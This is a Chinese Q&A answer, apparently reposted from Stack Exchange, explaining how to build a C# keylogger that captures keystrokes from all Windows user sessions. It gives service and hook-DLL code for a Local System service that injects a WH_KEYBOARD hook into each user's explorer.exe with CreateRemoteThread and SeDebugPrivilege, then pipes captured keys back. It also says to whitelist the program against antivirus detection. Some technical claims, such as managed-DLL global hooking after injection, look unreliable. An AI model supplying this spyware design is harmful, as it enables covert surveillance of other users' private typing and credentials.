C#实现跨Windows用户账户键盘记录的可行性问询
跨用户键盘记录的实现思路(C#)
首先得明确:你遇到的问题本质是Windows会话隔离导致的。从Vista开始,系统把用户会话(Session 1+)和系统核心会话(Session 0)彻底分开了,普通用户进程的全局钩子只能在当前会话的进程里生效,切换到其他用户后,原会话的进程会被挂起或处于后台,根本接收不到新会话的键盘事件。
要实现跨用户的键盘记录,得用「系统服务+注入式钩子DLL」的组合架构,下面是具体步骤和细节:
1. 选择合适的钩子类型
- 如果你用的是
WH_KEYBOARD_LL(用户态低级钩子):它不需要注入DLL,但回调函数是在你的程序线程里执行的。一旦切换用户,原用户会话的程序会被放到后台,线程可能暂停,自然无法处理新会话的键盘事件,所以这种钩子肯定不行。 - 必须用
WH_KEYBOARD(全局钩子):这种钩子需要把你的逻辑封装成DLL,注入到目标会话的进程中(比如每个用户的explorer.exe),这样钩子的回调会在目标进程的上下文里运行,不受会话切换影响。
2. 用Windows服务管理跨会话钩子
系统服务默认运行在Session 0,拥有跨会话访问的权限(需要以Local System账户运行),它的作用是:
- 监听用户登录/注销的会话事件(通过
RegisterSessionNotificationAPI) - 当新用户登录时,把钩子DLL注入到该会话的进程中
- 用户注销时,卸载对应会话的钩子
服务核心代码片段
using System.ServiceProcess; using System.Runtime.InteropServices; public class KeyboardHookService : ServiceBase { [DllImport("user32.dll")] private static extern bool RegisterSessionNotification(IntPtr hWnd, uint dwFlags); private const uint NOTIFY_FOR_ALL_SESSIONS = 0x00000001; protected override void OnStart(string[] args) { // 注册会话变化通知 RegisterSessionNotification(this.ServiceHandle, NOTIFY_FOR_ALL_SESSIONS); // 初始化钩子注入的基础逻辑 SetupHookInjection(); } protected override void OnSessionChange(SessionChangeDescription changeDescription) { base.OnSessionChange(changeDescription); switch (changeDescription.Reason) { case SessionChangeReason.SessionLogon: // 新用户登录,注入钩子到该会话的进程 InjectHookToSession(changeDescription.SessionId); break; case SessionChangeReason.SessionLogoff: // 用户注销,卸载对应会话的钩子 UnhookFromSession(changeDescription.SessionId); break; } } private void SetupHookInjection() { // 这里可以做一些初始化,比如获取钩子DLL的路径 // 申请SeDebugPrivilege权限(注入进程需要) } private void InjectHookToSession(int sessionId) { // 1. 找到目标会话的进程(比如explorer.exe) // 2. 打开进程,调整权限为SeDebugPrivilege // 3. 用CreateRemoteThread把钩子DLL注入到目标进程 // 4. 调用DLL中的初始化函数启动钩子 } private void UnhookFromSession(int sessionId) { // 远程调用DLL中的卸载函数,移除钩子 } }
3. 钩子DLL的实现
DLL里要封装WH_KEYBOARD钩子的逻辑,捕获按键后,通过跨会话通信机制把数据传给服务或主程序(比如全局命名管道、共享内存)。
钩子DLL核心代码片段
using System.Runtime.InteropServices; using System.IO.Pipes; public class KeyboardHookHandler { private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam); private static HookProc _hookCallback = OnKeyboardEvent; private static IntPtr _hookId = IntPtr.Zero; [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr GetModuleHandle(string lpModuleName); private const int WH_KEYBOARD = 2; private const int WM_KEYDOWN = 0x100; public static void StartHook() { using (var curProcess = System.Diagnostics.Process.GetCurrentProcess()) using (var curModule = curProcess.MainModule) { _hookId = SetWindowsHookEx(WH_KEYBOARD, _hookCallback, GetModuleHandle(curModule.ModuleName), 0); } } public static void StopHook() { UnhookWindowsHookEx(_hookId); } private static IntPtr OnKeyboardEvent(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) { int keyCode = Marshal.ReadInt32(lParam); // 把按键数据发送给服务 SendKeyData(keyCode); } return CallNextHookEx(_hookId, nCode, wParam, lParam); } private static void SendKeyData(int keyCode) { // 用全局命名管道跨会话通信(注意管道名前缀是\\.\pipe\) using (var pipe = new NamedPipeClientStream(@"\\.\pipe\GlobalKeyboardHookPipe")) { pipe.Connect(5000); using (var writer = new StreamWriter(pipe)) { writer.WriteLine(keyCode.ToString()); writer.Flush(); } } } } // DLL的入口和导出函数(需要用DllExport NuGet包) public class DllEntry { [DllExport] public static void InitializeHook() { KeyboardHookHandler.StartHook(); } [DllExport] public static void CleanupHook() { KeyboardHookHandler.StopHook(); } }
4. 关键注意事项
- 权限要求:服务必须以Local System账户运行,并且需要申请
SeDebugPrivilege权限才能注入进程。 - 杀毒软件拦截:键盘记录属于敏感操作,Windows Defender或第三方杀毒软件大概率会把你的程序标记为恶意软件,测试时需要添加信任。
- 跨会话通信安全:命名管道或共享内存的权限要设置正确,避免被其他进程窃取数据(可以设置安全描述符限制访问)。
- 登录密码捕获限制:Windows的登录界面输入是受系统保护的,即使是系统服务也无法捕获,这刚好符合你不需要记录登录密码的需求。
- 兼容性测试:不同Windows版本(Win10/Win11)的会话管理细节可能有差异,一定要在多用户环境下测试。
总结
普通的用户态钩子根本跨不了会话,必须用「系统服务管理+注入式DLL钩子+跨会话通信」的组合才能实现你要的功能。核心是利用系统服务的跨会话权限,在每个用户登录时注入钩子,让钩子在目标会话的进程里运行,再把数据传回来。
内容的提问来源于stack exchange,提问作者charliezz10
相关产品推荐
相关产品推荐

